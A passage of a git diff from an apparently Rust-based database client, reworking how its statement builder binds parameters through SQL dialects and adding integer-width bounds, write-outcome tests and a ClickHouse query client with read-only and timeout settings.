b.is_ascii_alphabetic() || b == b'_' || b >= 0x80 || self.syntax.word_start_extra.contains(&b) } diff --git a/linux/crates/core/src/statement/mod.rs b/linux/crates/core/src/statement/mod.rs index ec369fed6d..0d679f85fb 100644 --- a/linux/crates/core/src/statement/mod.rs +++ b/linux/crates/core/src/statement/mod.rs @@ -17,4 +17,4 @@ pub use param_type::ParamType; pub use row_guard::{GuardedStatement, RowGuard}; pub use sql_build_error::SqlBuildError; pub use statement::Statement; -pub use statement_builder::{PlaceholderStyle, StatementBuilder}; +pub use statement_builder::StatementBuilder; diff --git a/linux/crates/core/src/statement/param_type.rs b/linux/crates/core/src/statement/param_type.rs index f4444999ba..b37a0694c7 100644 --- a/linux/crates/core/src/statement/param_type.rs +++ b/linux/crates/core/src/statement/param_type.rs @@ -20,6 +20,9 @@ pub enum ParamType { /// CHAR and friends: text the server pads to a fixed width. FixedText, Bytes, + /// A string of bits, which an engine with a bit-string type sends in + /// its own encoding rather than as bytes. + Bits, Uuid, Json, JsonBinary, @@ -30,7 +33,8 @@ pub enum ParamType { TimestampTz, Interval, /// A type only the server names, bound as text and cast on the way - /// in. Enums, ranges, composites and geometry arrive here. + /// in. Enums, ranges, composites and geometry arrive here, as text + /// the user typed or as the server's own text read back. ServerText(SqlTypeExpr), } @@ -56,7 +60,9 @@ impl ParamType { Value::Decimal(_) | Value::Int(_) | Value::UInt(_) | Value::WideInt(_) ) | (Self::Text | Self::FixedText | Self::ServerText(_), Value::Text(_)) - | (Self::Bytes, Value::Bytes(_) | Value::Bits(_)) + | (Self::ServerText(_), Value::Other(_)) + | (Self::Bytes, Value::Bytes(_)) + | (Self::Bits, Value::Bits(_)) | (Self::Uuid, Value::Uuid(_)) | (Self::Json | Self::JsonBinary, Value::Json(_)) | (Self::Date, Value::Date(_)) @@ -81,6 +87,7 @@ impl ParamType { Self::Text => "Text", Self::FixedText => "FixedText", Self::Bytes => "Bytes", + Self::Bits => "Bits", Self::Uuid => "Uuid", Self::Json => "Json", Self::JsonBinary => "JsonBinary", @@ -99,7 +106,7 @@ impl ParamType { mod tests { use super::*; - const EVERY_TYPE: [ParamType; 20] = [ + const EVERY_TYPE: [ParamType; 21] = [ ParamType::Bool, ParamType::Int16, ParamType::Int32, @@ -111,6 +118,7 @@ mod tests { ParamType::Text, ParamType::FixedText, ParamType::Bytes, + ParamType::Bits, ParamType::Uuid, ParamType::Json, ParamType::JsonBinary, @@ -145,6 +153,31 @@ mod tests { ); } + #[test] + fn bits_and_bytes_are_bound_apart() { + let bits = Value::Bits(crate::value::BitString::from_u64(0b101, 3)); + + assert!(ParamType::Bits.accepts(&bits)); + assert!(!ParamType::Bytes.accepts(&bits), "bits went out as bytes"); + assert!(!ParamType::Bits.accepts(&Value::Bytes(vec![5]))); + } + + #[test] + fn a_server_type_takes_its_own_text_back() { + let server = ParamType::ServerText(SqlTypeExpr::from_catalog_text("inet")); + let read_back = Value::Other(Box::new(crate::value::OtherValue { + type_name: "inet".to_owned(), + text: "10.0.0.1/32".to_owned(), + })); + + assert!(server.accepts(&read_back)); + assert!(server.accepts(&Value::Text("10.0.0.1".to_owned()))); + assert!( + !ParamType::Text.accepts(&read_back), + "only a server type parses the server's own text" + ); + } + #[test] fn widening_conversions_the_server_does_anyway_are_accepted() { // The server widens these itself, so refusing them here would diff --git a/linux/crates/core/src/statement/statement.rs b/linux/crates/core/src/statement/statement.rs index bf82791882..d8c44aa253 100644 --- a/linux/crates/core/src/statement/statement.rs +++ b/linux/crates/core/src/statement/statement.rs @@ -17,12 +17,6 @@ impl Statement { Self { sql, params } } - /// For a builder that assembled the SQL and the parameters itself, - /// in the order the placeholders name them. - pub fn from_parts(sql: String, params: Vec) -> Self { - Self { sql, params } - } - pub fn sql(&self) -> &str { &self.sql } @@ -34,4 +28,16 @@ impl Statement { pub fn into_parts(self) -> (String, Vec) { (self.sql, self.params) } + + /// This statement inside SQL the app wrote around it, such as + /// `EXPLAIN`. The parameters keep their markers and their order, so + /// `before` and `after` must not hold a marker of their own: that is + /// the one way to wrap a statement without letting the two drift + /// apart, which a public `new` would allow. + pub fn wrapped(self, before: &str, after: &str) -> Self { + Self { + sql: format!("{before}{}{after}", self.sql), + params: self.params, + } + } } diff --git a/linux/crates/core/src/statement/statement_builder.rs b/linux/crates/core/src/statement/statement_builder.rs index de64553989..815fdc8b4a 100644 --- a/linux/crates/core/src/statement/statement_builder.rs +++ b/linux/crates/core/src/statement/statement_builder.rs @@ -1,28 +1,20 @@ -use crate::dialect::BindError; +use crate::dialect::{BindError, BindTarget, SqlDialect}; use crate::value::Value; -use super::{BoundParam, ParamType, Statement}; +use super::{BoundParam, Statement}; /// Builds SQL and its parameter list side by side. /// -/// A value is never written into the text: `push_value` appends the -/// dialect's placeholder and the parameter at the same time, so the -/// ordinal the SQL names and the position in the list cannot disagree. +/// Every value reaches the statement through the dialect's +/// `placeholder`, called with the number of parameters already held, +/// so the marker the SQL names and the position in the list cannot +/// disagree. This is the only way core binds a value. #[derive(Debug, Default)] pub struct StatementBuilder { sql: String, params: Vec, } -/// How a dialect spells the placeholder for the next parameter. -/// -/// PostgreSQL numbers them, MySQL and SQLite do not, and a server type -/// needs a cast around the marker so text arrives as the right thing. -pub trait PlaceholderStyle { - /// The marker for the parameter at `ordinal`, counting from 1. - fn placeholder(&self, ordinal: usize, param_type: &ParamType) -> String; -} - impl StatementBuilder { pub fn new() -> Self { Self::default() @@ -31,25 +23,43 @@ impl StatementBuilder { /// Append SQL the app itself wrote. Nothing from the user reaches /// this: values go through `push_value`, and identifiers through /// the dialect's quoting. - pub fn push_sql(&mut self, sql: &str) -> &mut Self { + pub fn push_sql(&mut self, sql: &str) { self.sql.push_str(sql); - self } - /// Append one parameter and the placeholder that names it. + /// Append one value's marker and record its parameter. pub fn push_value( &mut self, - style: &dyn PlaceholderStyle, + dialect: &dyn SqlDialect, + value: Value, + target: BindTarget<'_>, + ) -> Result<(), BindError> { + let marker = self.bind(dialect, value, target)?; + self.sql.push_str(&marker); + Ok(()) + } + + /// Record one value's parameter and return its marker without + /// appending it, for a caller that hands the marker to a dialect + /// template. Markers have to reach the finished SQL in the order + /// they were bound. + pub fn bind( + &mut self, + dialect: &dyn SqlDialect, value: Value, - param_type: ParamType, - ) -> Result<&mut Self, BindError> { - let bound = BoundParam::new(value, param_type)?; - // Ordinals count from 1 and are handed out in the order the - // markers appear, so the list position is the ordinal. - let ordinal = self.params.len() + 1; - self.sql.push_str(&style.placeholder(ordinal, bound.param_type())); - self.params.push(bound); - Ok(self) + target: BindTarget<'_>, + ) -> Result { + let placeholder = dialect.placeholder(self.params.len(), value, target)?; + if let Some(param) = placeholder.param { + self.params.push(param); + } + Ok(placeholder.sql) + } + + /// Take the SQL written so far and keep its parameters, so a + /// fragment built here can be placed inside a dialect template. + pub fn take_fragment(&mut self) -> String { + std::mem::take(&mut self.sql) } pub fn param_count(&self) -> usize { @@ -63,35 +73,71 @@ impl StatementBuilder { #[cfg(test)] mod tests { - use super::*; + use crate::column::{ + CatalogType, ColumnDefault, ColumnInfo, ColumnKind, ColumnType, IntegerKind, IntegerWidth, ReadForm, + SqlTypeExpr, TextLength, + }; + use crate::dialect::{TestDialect, TestMarkers}; - /// PostgreSQL's numbered markers, which is the style that can - /// actually disagree with the list. - struct Numbered; + use super::*; - impl PlaceholderStyle for Numbered { - fn placeholder(&self, ordinal: usize, param_type: &ParamType) -> String { - match param_type { - ParamType::ServerText(name) => format!("${ordinal}::{}", name.as_sql()), - _ => format!("${ordinal}"), - } + fn column(name: &str, kind: ColumnKind) -> ColumnInfo { + ColumnInfo { + name: name.to_owned(), + column_type: ColumnType { + name: "t".to_owned(), + kind, + catalog: Some(CatalogType { + declaration: SqlTypeExpr::from_catalog_text("Int32"), + cast_target: SqlTypeExpr::from_catalog_text("Int32"), + }), + dynamic_storage: false, + read_form: ReadForm::Native, + }, + nullable: true, + primary_key: false, + is_auto_increment: false, + is_generated: false, + default: ColumnDefault::None, + comment: None, } } + fn int() -> ColumnInfo { + column( + "a", + ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W32, + signed: true, + }), + ) + } + + fn text() -> ColumnInfo { + column( + "b", + ColumnKind::Text { + length: TextLength::Unbounded, + }, + ) + } + #[test] fn statement_builder_ordinals_are_continuous() { + let dialect = TestDialect::exact(); + let (a, b) = (int(), text()); let mut builder = StatementBuilder::new(); builder.push_sql("SELECT * FROM t WHERE a = "); builder - .push_value(&Numbered, Value::Int(1), ParamType::Int64) + .push_value(&dialect, Value::Int(1), BindTarget::Column(&a)) .expect("bind a"); builder.push_sql(" AND b = "); builder - .push_value(&Numbered, Value::Text("x".to_owned()), ParamType::Text) + .push_value(&dialect, Value::Text("x".to_owned()), BindTarget::Column(&b)) .expect("bind b"); builder.push_sql(" AND c = "); builder - .push_value(&Numbered, Value::Null, ParamType::Uuid) + .push_value(&dialect, Value::Null, BindTarget::Column(&a)) .expect("bind c"); let statement = builder.finish(); @@ -102,29 +148,78 @@ mod tests { } #[test] - fn a_server_type_casts_its_marker() { + fn a_wrapped_statement_keeps_every_marker_with_its_parameter() { + let dialect = TestDialect::exact().with_markers(TestMarkers::Positional); + let (a, b) = (int(), text()); let mut builder = StatementBuilder::new(); - builder.push_sql("INSERT INTO t VALUES ("); + builder.push_sql("SELECT * FROM t WHERE a = "); builder - .push_value( - &Numbered, - Value::Text("happy".to_owned()), - ParamType::ServerText(crate::column::SqlTypeExpr::from_catalog_text("mood")), - ) - .expect("bind the enum"); - builder.push_sql(")"); + .push_value(&dialect, Value::Int(1), BindTarget::Column(&a)) + .expect("bind a"); + builder.push_sql(" AND b = "); + builder + .push_value(&dialect, Value::Text("x".to_owned()), BindTarget::Column(&b)) + .expect("bind b"); + let statement = builder.finish(); + let params = statement.params().to_vec(); + + let explained = statement.wrapped("EXPLAIN (FORMAT JSON) ", ""); - assert_eq!(builder.finish().sql(), "INSERT INTO t VALUES ($1::mood)"); + assert_eq!( + explained.sql(), + "EXPLAIN (FORMAT JSON) SELECT * FROM t WHERE a = ? AND b = ?" + ); + assert_eq!(explained.params(), params.as_slice()); + } + + #[test] + fn the_dialect_sees_the_count_already_bound() { + let dialect = TestDialect::exact(); + let a = int(); + let mut builder = StatementBuilder::new(); + + for value in 0..3 { + builder + .bind(&dialect, Value::Int(value), BindTarget::Column(&a)) + .expect("a bound value"); + } + + assert_eq!(dialect.ordinals(), vec![0, 1, 2], "an ordinal skipped or repeated"); + } + + #[test] + fn named_server_parameters_take_the_index_of_their_parameter() { + let dialect = TestDialect::exact().with_markers(TestMarkers::ServerNamed); + let (a, b) = (int(), text()); + let mut builder = StatementBuilder::new(); + builder.push_sql("ALTER TABLE t UPDATE b = "); + builder + .push_value(&dialect, Value::Text("x".to_owned()), BindTarget::Column(&b)) + .expect("bind b"); + builder.push_sql(" WHERE a = "); + builder + .push_value(&dialect, Value::Int(7), BindTarget::Column(&a)) + .expect("bind a"); + + let statement = builder.finish(); + + assert_eq!( + statement.sql(), + "ALTER TABLE t UPDATE b = {p0:Int32} WHERE a = {p1:Int32}" + ); + assert_eq!(statement.params()[1].value(), &Value::Int(7), "p1 is not params[1]"); } #[test] fn a_refused_value_adds_neither_marker_nor_param() { + let dialect = TestDialect::exact(); + let a = int(); let mut builder = StatementBuilder::new(); builder.push_sql("SELECT "); let error = builder - .push_value(&Numbered, Value::Text("nope".to_owned()), ParamType::Uuid) - .expect_err("text for a uuid"); + .push_value(&dialect, Value::Text("nope".to_owned()), BindTarget::Column(&a)) + .expect_err("text for an integer"); assert!(matches!(error, BindError::ValueTypeMismatch { .. }), "{error:?}"); assert_eq!(builder.param_count(), 0); @@ -134,4 +229,21 @@ mod tests { "a refused value still wrote a marker" ); } + + #[test] + fn a_fragment_keeps_its_parameters() { + let dialect = TestDialect::exact(); + let a = int(); + let mut builder = StatementBuilder::new(); + builder + .push_value(&dialect, Value::Int(1), BindTarget::Column(&a)) + .expect("bind"); + + let fragment = builder.take_fragment(); + builder.push_sql(&format!("WHERE a = {fragment}")); + + let statement = builder.finish(); + assert_eq!(statement.sql(), "WHERE a = $1"); + assert_eq!(statement.params().len(), 1); + } } diff --git a/linux/crates/core/src/stream_summary.rs b/linux/crates/core/src/stream_summary.rs new file mode 100644 index 0000000000..6398bbbb83 --- /dev/null +++ b/linux/crates/core/src/stream_summary.rs @@ -0,0 +1,11 @@ +/// How a streamed read ended, once every row went to the sink. +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Hash)] +pub struct StreamSummary { + pub rows: u64, +} + +impl StreamSummary { + pub fn new(rows: u64) -> Self { + Self { rows } + } +} diff --git a/linux/crates/core/src/value/wide_integer.rs b/linux/crates/core/src/value/wide_integer.rs index 4fc2fdf6c9..f98020f35b 100644 --- a/linux/crates/core/src/value/wide_integer.rs +++ b/linux/crates/core/src/value/wide_integer.rs @@ -4,7 +4,7 @@ use std::str::FromStr; use num_bigint::BigInt; use thiserror::Error; -use crate::column::IntegerKind; +use crate::column::{IntegerKind, IntegerWidth}; #[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Hash)] pub struct WideInteger(BigInt); @@ -47,39 +47,33 @@ impl WideInteger { } } -/// Built once: ten `BigInt` pairs constructed per call would dominate a -/// bulk insert's validation. +/// Built once: fourteen `BigInt` pairs constructed per call would +/// dominate a bulk insert's validation. fn bounds(kind: IntegerKind) -> &'static (BigInt, BigInt) { use std::sync::OnceLock; - static BOUNDS: OnceLock<[(BigInt, BigInt); 10]> = OnceLock::new(); - let table = BOUNDS.get_or_init(|| { - [ - (BigInt::from(i8::MIN), BigInt::from(i8::MAX)), - (BigInt::from(0), BigInt::from(u8::MAX)), - (BigInt::from(i16::MIN), BigInt::from(i16::MAX)), - (BigInt::from(0), BigInt::from(u16::MAX)), - (BigInt::from(i32::MIN), BigInt::from(i32::MAX)), - (BigInt::from(0), BigInt::from(u32::MAX)), - (BigInt::from(i64::MIN), BigInt::from(i64::MAX)), - (BigInt::from(0), BigInt::from(u64::MAX)), - (BigInt::from(i128::MIN), BigInt::from(i128::MAX)), - (BigInt::from(0), BigInt::from(u128::MAX)), - ] - }); - let index = match kind { - IntegerKind::I8 => 0, - IntegerKind::U8 => 1, - IntegerKind::I16 => 2, - IntegerKind::U16 => 3, - IntegerKind::I32 => 4, - IntegerKind::U32 => 5, - IntegerKind::I64 => 6, - IntegerKind::U64 => 7, - IntegerKind::I128 => 8, - IntegerKind::U128 => 9, + static BOUNDS: OnceLock<[[(BigInt, BigInt); 2]; 7]> = OnceLock::new(); + let table = BOUNDS.get_or_init(|| IntegerWidth::ALL.map(|width| [false, true].map(|signed| range(width, signed)))); + let width = match kind.width { + IntegerWidth::W8 => 0, + IntegerWidth::W16 => 1, + IntegerWidth::W24 => 2, + IntegerWidth::W32 => 3, + IntegerWidth::W64 => 4, + IntegerWidth::W128 => 5, + IntegerWidth::W256 => 6, }; - &table[index] + &table[width][usize::from(kind.signed)] +} + +fn range(width: IntegerWidth, signed: bool) -> (BigInt, BigInt) { + let bits = width.bits(); + if signed { + let half = BigInt::from(1) << (bits - 1); + (-half.clone(), half - 1) + } else { + (BigInt::from(0), (BigInt::from(1) << bits) - 1) + } } impl FromStr for WideInteger { @@ -154,40 +148,65 @@ mod fits_tests { text.parse().expect("a valid integer") } + fn kind(width: IntegerWidth, signed: bool) -> IntegerKind { + IntegerKind { width, signed } + } + #[test] - fn wide_integer_fits_every_integer_kind() { - let cases: [(IntegerKind, &str, &str); 10] = [ - (IntegerKind::I8, "-128", "127"), - (IntegerKind::U8, "0", "255"), - (IntegerKind::I16, "-32768", "32767"), - (IntegerKind::U16, "0", "65535"), - (IntegerKind::I32, "-2147483648", "2147483647"), - (IntegerKind::U32, "0", "4294967295"), - (IntegerKind::I64, "-9223372036854775808", "9223372036854775807"), - (IntegerKind::U64, "0", "18446744073709551615"), + fn wide_integer_fits_integer_kind() { + let cases = [ + (kind(IntegerWidth::W8, true), "-128", "127"), + (kind(IntegerWidth::W8, false), "0", "255"), + (kind(IntegerWidth::W16, true), "-32768", "32767"), + (kind(IntegerWidth::W16, false), "0", "65535"), + (kind(IntegerWidth::W24, true), "-8388608", "8388607"), + (kind(IntegerWidth::W24, false), "0", "16777215"), + (kind(IntegerWidth::W32, true), "-2147483648", "2147483647"), + (kind(IntegerWidth::W32, false), "0", "4294967295"), + ( + kind(IntegerWidth::W64, true), + "-9223372036854775808", + "9223372036854775807", + ), + (kind(IntegerWidth::W64, false), "0", "18446744073709551615"), ( - IntegerKind::I128, + kind(IntegerWidth::W128, true), "-170141183460469231731687303715884105728", "170141183460469231731687303715884105727", ), - (IntegerKind::U128, "0", "340282366920938463463374607431768211455"), + ( + kind(IntegerWidth::W128, false), + "0", + "340282366920938463463374607431768211455", + ), + ( + kind(IntegerWidth::W256, true), + "-57896044618658097711785492504343953926634992332820282019728792003956564819968", + "57896044618658097711785492504343953926634992332820282019728792003956564819967", + ), + ( + kind(IntegerWidth::W256, false), + "0", + "115792089237316195423570985008687907853269984665640564039457584007913129639935", + ), ]; for (kind, low, high) in cases { - assert!(wide(low).fits(kind), "{kind:?} rejected its own minimum {low}"); - assert!(wide(high).fits(kind), "{kind:?} rejected its own maximum {high}"); + assert!(wide(low).fits(kind), "{kind} rejected its own minimum {low}"); + assert!(wide(high).fits(kind), "{kind} rejected its own maximum {high}"); let below = format!("{}", wide(low).0 - 1); let above = format!("{}", wide(high).0 + 1); - assert!(!wide(&below).fits(kind), "{kind:?} accepted {below}"); - assert!(!wide(&above).fits(kind), "{kind:?} accepted {above}"); + assert!(!wide(&below).fits(kind), "{kind} accepted {below}"); + assert!(!wide(&above).fits(kind), "{kind} accepted {above}"); } } #[test] fn an_unsigned_kind_rejects_a_negative_value() { - for kind in IntegerKind::ALL.into_iter().filter(|kind| !kind.is_signed()) { - assert!(!wide("-1").fits(kind), "{kind:?} accepted -1"); + for width in IntegerWidth::ALL { + let unsigned = kind(width, false); + assert!(!wide("-1").fits(unsigned), "{unsigned} accepted -1"); } } } diff --git a/linux/crates/core/src/workspace_settings.rs b/linux/crates/core/src/workspace_settings.rs new file mode 100644 index 0000000000..efc5693f76 --- /dev/null +++ b/linux/crates/core/src/workspace_settings.rs @@ -0,0 +1,44 @@ +use std::time::Duration; + +/// What every workspace call on a connection runs under. +/// +/// The limits are the server's, set on the session or per call, so a +/// statement the app has given up on stops on the server too rather +/// than holding its locks until it finishes. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct WorkspaceSettings { + pub read_only: bool, + pub statement_timeout: Duration, + /// How long a statement waits for a lock before it fails, kept + /// shorter than the statement timeout so a blocked edit reports the + /// lock rather than a generic timeout. + pub lock_timeout: Duration, +} + +impl WorkspaceSettings { + pub const STATEMENT_TIMEOUT: Duration = Duration::from_secs(60); + pub const LOCK_TIMEOUT: Duration = Duration::from_secs(10); + + pub fn workspace(read_only: bool) -> Self { + Self { + read_only, + statement_timeout: Self::STATEMENT_TIMEOUT, + lock_timeout: Self::LOCK_TIMEOUT, + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_workspace_waits_a_minute_for_a_statement_and_ten_seconds_for_a_lock() { + let settings = WorkspaceSettings::workspace(true); + + assert!(settings.read_only); + assert_eq!(settings.statement_timeout, Duration::from_secs(60)); + assert_eq!(settings.lock_timeout, Duration::from_secs(10)); + assert!(!WorkspaceSettings::workspace(false).read_only); + } +} diff --git a/linux/crates/core/src/write_batch.rs b/linux/crates/core/src/write_batch.rs index e82101eb6d..9a7653707d 100644 --- a/linux/crates/core/src/write_batch.rs +++ b/linux/crates/core/src/write_batch.rs @@ -1,3 +1,4 @@ +use crate::foreign_key_mode::ForeignKeyMode; use crate::meta::TableRef; use crate::statement::GuardedStatement; @@ -22,11 +23,17 @@ pub struct WriteBatch { pub kind: WriteKind, pub table: TableRef, pub steps: Vec, + pub foreign_keys: ForeignKeyMode, } impl WriteBatch { - pub fn new(kind: WriteKind, table: TableRef, steps: Vec) -> Self { - Self { kind, table, steps } + pub fn new(kind: WriteKind, table: TableRef, steps: Vec, foreign_keys: ForeignKeyMode) -> Self { + Self { + kind, + table, + steps, + foreign_keys, + } } pub fn is_empty(&self) -> bool { diff --git a/linux/crates/core/src/write_ledger.rs b/linux/crates/core/src/write_ledger.rs index 90099b060b..094649b8df 100644 --- a/linux/crates/core/src/write_ledger.rs +++ b/linux/crates/core/src/write_ledger.rs @@ -235,6 +235,199 @@ mod tests { } } + /// How far a write got before it was interrupted. + #[derive(Debug, Clone, Copy)] + enum Phase { + NothingSent, + FirstInFlight, + TwoConfirmed, + ThirdInFlight, + CommitSent, + } + + impl Phase { + fn replay(self, ledger: &WriteLedger) { + if matches!(self, Phase::FirstInFlight) { + ledger.statement_sending(0); + } + if matches!(self, Phase::TwoConfirmed | Phase::ThirdInFlight | Phase::CommitSent) { + ledger.statement_sending(0); + ledger.statement_confirmed(0); + ledger.statement_sending(1); + ledger.statement_confirmed(1); + } + if matches!(self, Phase::ThirdInFlight) { + ledger.statement_sending(2); + } + if matches!(self, Phase::CommitSent) { + ledger.commit_sending(None); + } + } + } + + #[derive(Debug, PartialEq)] + enum Outcome { + RolledBack { + at: usize, + }, + Partial { + applied: usize, + at: usize, + failed: StatementOutcome, + }, + Unknown { + token: Option, + }, + } + + fn outcome_of(error: &DriverError) -> Option { + match error { + DriverError::RolledBack { statement_index, .. } => Some(Outcome::RolledBack { at: *statement_index }), + DriverError::PartiallyApplied { + applied, + statement_index, + failed_outcome, + .. + } => Some(Outcome::Partial { + applied: *applied, + at: *statement_index, + failed: *failed_outcome, + }), + DriverError::CommitOutcomeUnknown { token, .. } => Some(Outcome::Unknown { token: token.clone() }), + _ => None, + } + } + + #[test] + fn outcome_table() { + use Outcome::{Partial, RolledBack, Unknown}; + use Phase::*; + use StatementOutcome::{Failed, Unknown as InDoubt}; + const TX: WriteAtomicity = WriteAtomicity::Transactional; + const STEP: WriteAtomicity = WriteAtomicity::StatementByStatement; + let fates = [ + SessionFate::RolledBack, + SessionFate::Discarded, + SessionFate::RollbackIncomplete { executed: 2 }, + ]; + let partial = |applied, at, failed| Partial { applied, at, failed }; + let unknown = |with_token: bool| Unknown { + token: with_token.then(token), + }; + + // One row per atomicity, phase and token, with the outcome for + // each fate in the order above. A statement-by-statement engine + // has no COMMIT, so it has no commit phase. + let table = [ + ( + TX, + NothingSent, + false, + [RolledBack { at: 0 }, RolledBack { at: 0 }, partial(2, 0, Failed)], + ), + ( + TX, + NothingSent, + true, + [RolledBack { at: 0 }, RolledBack { at: 0 }, partial(2, 0, Failed)], + ), + ( + TX, + FirstInFlight, + false, + [RolledBack { at: 0 }, RolledBack { at: 0 }, partial(2, 0, Failed)], + ), + ( + TX, + FirstInFlight, + true, + [RolledBack { at: 0 }, RolledBack { at: 0 }, partial(2, 0, Failed)], + ), + ( + TX, + TwoConfirmed, + false, + [RolledBack { at: 2 }, RolledBack { at: 2 }, partial(2, 2, Failed)], + ), + ( + TX, + TwoConfirmed, + true, + [RolledBack { at: 2 }, RolledBack { at: 2 }, partial(2, 2, Failed)], + ), + ( + TX, + ThirdInFlight, + false, + [RolledBack { at: 2 }, RolledBack { at: 2 }, partial(2, 2, Failed)], + ), + ( + TX, + ThirdInFlight, + true, + [RolledBack { at: 2 }, RolledBack { at: 2 }, partial(2, 2, Failed)], + ), + (TX, CommitSent, false, [unknown(false), unknown(false), unknown(false)]), + (TX, CommitSent, true, [unknown(true), unknown(true), unknown(true)]), + ( + STEP, + NothingSent, + false, + [RolledBack { at: 0 }, RolledBack { at: 0 }, RolledBack { at: 0 }], + ), + ( + STEP, + NothingSent, + true, + [RolledBack { at: 0 }, RolledBack { at: 0 }, RolledBack { at: 0 }], + ), + ( + STEP, + FirstInFlight, + false, + [unknown(false), unknown(false), unknown(false)], + ), + (STEP, FirstInFlight, true, [unknown(true), unknown(true), unknown(true)]), + ( + STEP, + TwoConfirmed, + false, + [partial(2, 2, Failed), partial(2, 2, Failed), partial(2, 2, Failed)], + ), + ( + STEP, + TwoConfirmed, + true, + [partial(2, 2, Failed), partial(2, 2, Failed), partial(2, 2, Failed)], + ), + ( + STEP, + ThirdInFlight, + false, + [partial(2, 2, InDoubt), partial(2, 2, InDoubt), partial(2, 2, InDoubt)], + ), + (STEP, ThirdInFlight, true, [unknown(true), unknown(true), unknown(true)]), + ]; + + for (atomicity, phase, with_token, expected) in table { + for (fate, expected) in fates.iter().zip(expected) { + let ledger = WriteLedger::new(atomicity); + phase.replay(&ledger); + if with_token { + ledger.attach_token(token()); + } + + let outcome = ledger.interrupted(lost(), fate.clone()); + + assert_eq!( + outcome_of(&outcome), + Some(expected), + "{atomicity:?}, {phase:?}, token {with_token}, {fate:?}" + ); + } + } + } + #[test] fn a_transaction_lost_before_the_commit_left_nothing_behind() { let ledger = WriteLedger::new(WriteAtomicity::Transactional); diff --git a/linux/crates/core/tests/script_corpus.rs b/linux/crates/core/tests/script_corpus.rs index 16e0d91694..d094e33613 100644 --- a/linux/crates/core/tests/script_corpus.rs +++ b/linux/crates/core/tests/script_corpus.rs @@ -494,3 +494,38 @@ fn lexer_matches_sqlparser_where_engines_agree() { assert_eq!(ours, theirs, "{grammar:?} {text:?}"); } } + +#[test] +fn numeric_constants_are_one_token() { + let cases = [ + ("0.5", "0.5"), + (".5", ".5"), + ("1.", "1."), + ("1e-3", "1e-3"), + ("1.5E+10", "1.5E+10"), + ("0x1F", "0x1F"), + ("1_000", "1_000"), + ]; + for (literal, expected) in cases { + let text = format!("SELECT {literal} FROM t"); + let plan = plan(SqlGrammar::PostgreSql, &text); + let numbers: Vec<&str> = plan + .tokens(0..text.len()) + .filter(|token| token.kind == ScriptTokenKind::Number) + .map(|token| &text[token.range.clone()]) + .collect(); + assert_eq!(numbers, [expected], "lexing {literal}"); + } +} + +#[test] +fn a_qualified_name_and_a_range_keep_their_dots() { + let text = "SELECT t.a, a[1:2], 1..2 FROM t"; + let plan = plan(SqlGrammar::PostgreSql, text); + let numbers: Vec<&str> = plan + .tokens(0..text.len()) + .filter(|token| token.kind == ScriptTokenKind::Number) + .map(|token| &text[token.range.clone()]) + .collect(); + assert_eq!(numbers, ["1", "2", "1", "2"]); +} diff --git a/linux/crates/drivers/clickhouse/Cargo.toml b/linux/crates/drivers/clickhouse/Cargo.toml index f6865ba674..0c60db0d63 100644 --- a/linux/crates/drivers/clickhouse/Cargo.toml +++ b/linux/crates/drivers/clickhouse/Cargo.toml @@ -11,18 +11,37 @@ path = "src/lib.rs" [dependencies] tablepro-core = { path = "../../core" } +tablepro-net = { path = "../../net" } async-trait.workspace = true chrono.workspace = true +# lz4 stays off: with it on, fetch_bytes asks for compressed responses, +# and JSON over a kept-alive HTTP connection is cheap without it. clickhouse.workspace = true +clickhouse-types.workspace = true +http.workspace = true +hyper-rustls.workspace = true +hyper-util.workspace = true +rustls-pki-types.workspace = true secrecy.workspace = true serde.workspace = true serde_json.workspace = true -tokio.workspace = true +sqlparser.workspace = true +tokio = { workspace = true, features = ["io-util", "macros", "rt", "sync", "time"] } +tokio-util = { workspace = true, features = ["rt"] } +tower-service.workspace = true +tracing.workspace = true uuid.workspace = true [dev-dependencies] -testcontainers = { workspace = true, features = ["http_wait_plain"] } -tokio = { workspace = true, features = ["macros", "rt-multi-thread"] } +tablepro-test-fixtures = { path = "../../test-fixtures" } +tablepro-test-support = { path = "../../test-support" } +async-trait.workspace = true +chrono.workspace = true +rustls.workspace = true +secrecy.workspace = true +tokio = { workspace = true, features = ["macros", "rt-multi-thread", "test-util"] } +tokio-util = { workspace = true, features = ["rt"] } +uuid.workspace = true [lints] workspace = true diff --git a/linux/crates/drivers/clickhouse/src/call_client.rs b/linux/crates/drivers/clickhouse/src/call_client.rs new file mode 100644 index 0000000000..328d102dfe --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/call_client.rs @@ -0,0 +1,107 @@ +use std::sync::Arc; +use std::time::Duration; + +use clickhouse::query::Query; +use tablepro_core::statement::Statement; +use tokio::time::Instant; +use uuid::Uuid; + +use crate::cancel::ClickHouseStop; +use crate::param_value::bind_params; + +/// The client one call sends its queries through, each under a query id +/// of its own that the call's stop can name. +pub(crate) struct CallClient { + client: clickhouse::Client, + stop: Arc, +} + +impl CallClient { + pub(crate) fn new(client: clickhouse::Client, stop: Arc) -> Self { + Self { client, stop } + } + + /// SQL sent as written: a `?` in it is the user's, not a marker. + pub(crate) fn raw(&self, sql: &str) -> Query { + self.tracked(self.client.query_raw(sql)) + } + + /// A generated statement, with its values bound as the server-side + /// parameters its `{pN:Type}` markers name. + pub(crate) fn statement(&self, statement: &Statement) -> Query { + bind_params(self.raw(statement.sql()), statement.params()) + } + + /// SQL whose `?` markers the client fills, for identifiers bound + /// through `clickhouse::sql::Identifier`. + pub(crate) fn template(&self, sql: &str) -> Query { + self.tracked(self.client.query(sql)) + } + + fn tracked(&self, query: Query) -> Query { + let id = Uuid::new_v4(); + self.stop.track(id); + query.with_setting("query_id", id.to_string()) + } +} + +/// A read as the server runs it: never a write, and stopped by the +/// server itself once its bound passes. `None` leaves it unbounded. +pub(crate) fn reading(client: &clickhouse::Client, bound: Option) -> clickhouse::Client { + client + .clone() + .with_setting("readonly", "2") + .with_setting("timeout_overflow_mode", "throw") + .with_setting("max_execution_time", whole_seconds(bound).to_string()) +} + +/// The nearer of the call's deadline and the configured timeout. +pub(crate) fn read_bound(deadline: Option, configured: Option) -> Option { + let remaining = deadline.map(|deadline| deadline.saturating_duration_since(Instant::now())); + match (remaining, configured) { + (Some(remaining), Some(configured)) => Some(remaining.min(configured)), + (remaining, configured) => remaining.or(configured), + } +} + +/// `max_execution_time` in whole seconds, rounded up so the server never +/// stops a read before the 